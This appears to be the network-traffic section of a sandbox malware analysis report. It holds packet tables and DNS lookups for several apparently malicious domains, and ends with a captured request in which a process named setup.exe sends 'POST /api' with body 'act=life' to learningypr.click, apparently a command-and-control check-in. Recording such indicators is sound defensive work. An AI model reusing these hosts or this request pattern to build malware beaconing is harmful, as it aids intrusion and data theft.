Dec 30, 2024 19:10:36.776118994 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776156902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776355028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776391029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776417017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776421070 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776449919 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776456118 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776607037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776659966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776668072 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776671886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776711941 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776719093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776870966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776884079 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776932001 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776935101 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.776952028 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.776973963 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.777185917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.777199984 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.777245045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.777249098 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.777287006 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.777498960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.777513981 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.777554035 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.777558088 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.777578115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.777595043 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864185095 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864208937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864265919 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864270926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864311934 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864316940 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864319086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864326954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864351034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864366055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864394903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864398956 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864439011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864640951 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864656925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864696026 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864700079 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864728928 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864866972 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864892006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864901066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864903927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.864921093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.864949942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865161896 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865180016 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865220070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865222931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865236044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865262032 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865391970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865406036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865462065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865467072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865504980 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865667105 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865684986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865726948 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865731955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.865761995 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.865768909 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.866065979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.866084099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.866147041 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.866151094 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.866190910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.952873945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.952898026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.952930927 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.952936888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.952970028 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.952987909 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953145027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953161955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953200102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953203917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953222990 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953241110 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953460932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953481913 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953519106 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953522921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953543901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953552961 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953605890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953648090 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953658104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953661919 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953697920 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953794003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953809977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953846931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953850031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.953860044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.953885078 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954087019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954103947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954138994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954143047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954165936 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954184055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954350948 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954364061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954402924 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954406977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954426050 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954432011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954643011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954657078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954691887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954694986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.954725981 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.954732895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.041492939 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041533947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041552067 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.041557074 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041565895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041579008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041582108 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.041611910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.041616917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041639090 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.041831970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041846037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041883945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.041891098 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.041915894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042258978 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042269945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042306900 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042310953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042340994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042387962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042403936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042434931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042439938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042457104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042737961 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042752981 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042793989 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042798042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042814016 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042920113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042936087 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.042996883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.042996883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.043000937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.043144941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.043158054 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.043205023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.043209076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.043216944 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.084207058 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.093163967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130072117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130095959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130131960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130136013 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130167007 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130179882 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130259991 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130283117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130331039 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130336046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130373955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130431890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130455017 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130491972 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130496025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130517960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130527973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130786896 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130801916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130837917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130841970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.130875111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.130882978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131032944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131051064 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131086111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131089926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131114006 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131127119 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131221056 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131233931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131277084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131280899 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131337881 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131550074 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131567001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131603956 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131608009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131633997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131653070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131858110 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131870985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131910086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131913900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.131942987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.131942987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.132143021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.132174015 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.132194996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.132199049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.132220030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.177946091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.218986034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219007969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219055891 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219060898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219094038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219105959 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219183922 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219202995 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219249964 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219255924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219290018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219487906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219507933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219536066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219540119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219569921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219579935 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219882011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219897032 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219943047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219945908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219954014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219970942 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.219990969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.219994068 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220002890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220030069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220051050 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220350027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220364094 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220412970 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220417023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220452070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220460892 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220474005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220519066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220521927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220556974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220762968 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220782995 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220844984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.220849991 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.220885992 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.259511948 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308020115 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308058023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308103085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308106899 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308151007 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308151960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308173895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308192968 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308201075 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308214903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308222055 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308233976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308248043 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308252096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308280945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308284998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308291912 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.308312893 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.308353901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.348965883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.386415005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.386425018 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:37.386434078 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:37.386439085 CET	443	49746	172.67.208.58	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 19:10:11.827198029 CET	56165	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:10:11.839168072 CET	53	56165	1.1.1.1	192.168.2.4
Dec 30, 2024 19:10:29.106033087 CET	64745	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:10:29.165052891 CET	53	64745	1.1.1.1	192.168.2.4
Dec 30, 2024 19:10:30.205308914 CET	56562	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:10:30.218369007 CET	53	56562	1.1.1.1	192.168.2.4
Dec 30, 2024 19:10:30.817960024 CET	51873	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:10:30.827205896 CET	53	51873	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 19:10:11.827198029 CET	192.168.2.4	1.1.1.1	0x77a3	Standard query (0)	learningypr.click	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:29.106033087 CET	192.168.2.4	1.1.1.1	0xc444	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:30.205308914 CET	192.168.2.4	1.1.1.1	0xf942	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:30.817960024 CET	192.168.2.4	1.1.1.1	0x6973	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:11.839168072 CET	1.1.1.1	192.168.2.4	0x77a3	No error (0)	learningypr.click		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:29.165052891 CET	1.1.1.1	192.168.2.4	0xc444	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:30.218369007 CET	1.1.1.1	192.168.2.4	0xf942	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:30.218369007 CET	1.1.1.1	192.168.2.4	0xf942	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:10:30.827205896 CET	1.1.1.1	192.168.2.4	0x6973	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

learningypr.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:12 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: learningypr.click
2024-12-30 18:10:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
